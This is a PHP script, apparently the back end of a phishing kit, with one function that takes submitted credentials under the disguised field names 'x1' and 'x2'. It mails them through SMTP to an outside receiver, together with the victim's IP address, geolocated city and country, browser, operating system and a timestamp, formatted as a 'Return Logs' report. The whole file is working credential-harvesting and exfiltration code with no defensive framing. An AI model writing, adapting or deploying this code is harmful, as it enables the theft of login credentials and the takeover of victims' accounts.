<?php
//Import PHPMailer classes into the global namespace
//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require_once 'server-info.php';

function senderMail($smtp, $sender, $password, $receiver)
{
    $postData = file_get_contents("php://input");
    $data = json_decode($postData, true);

    $ipAddress = getUserIP();
    $locationDetails = getIPLocation($ipAddress);

    // Get browser and OS
    $browserAndOS = getBrowserAndOS();

    if ($data !== null && isset($data['x1'], $data['x2'])) {
        // Retrieve form data
        $x1 = $data['x1'];
        $x2 = $data['x2'];
        $ip = $ipAddress;
        $city = $locationDetails['city'];
        $country = $locationDetails['country'];
        $browser = $browserAndOS['browser'];
        $os = $browserAndOS['os'];

        $date = date("Y-m-d h:i:a");

        //Create an instance; passing `true` enables exceptions
        $mail = new PHPMailer(true);

        try {
            //Server settings
            $mail->isSMTP();
            $mail->Host = $smtp;
            $mail->SMTPAuth = true;
            $mail->Username = $sender;
            $mail->Password = $password;
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
            $mail->Port = 465;

            //Recipients
            $mail->setFrom($sender, 'Donny Log');
            $mail->addAddress($receiver, 'Joe User');     //Add a recipient

            //Content
            $mail->isHTML(true);
            $mail->Subject = 'Base Log';
            $mail->Body = "<div style='font-family: open sans;
            font-size: 1rem;
            margin: 2rem auto;
            padding: 2rem;
            width: 24rem;
            color: #302f2f;
            border: 1px solid #cac7c7;
            border-radius: 5px;
            box-shadow: 1px 1px #888888;'>
            <h2 style='text-align: center'>Return Logs</h2>
            <p><strong>Email: </strong>$x1</p>
            <p><strong>Password: </strong>$x2</p>
            <hr />
            <div style='padding: 1rem; font-size: .9rem;'>
            <strong>IP: </strong>$ip <br />
            <strong>City: </strong>$city <br />
            <strong>Country: </strong>$country <br />
            <strong>Browser: </strong>$browser <br />
            <strong>Device: </strong>$os

            <p><strong>Date: </strong>$date</p>
            </div>
        </div>";
            $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

            $mail->send();
            echo 'Message has been sent';
        } catch (Exception $e) {
            echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
        }
    } else {
        echo 'Invalid JSON data';
    }
}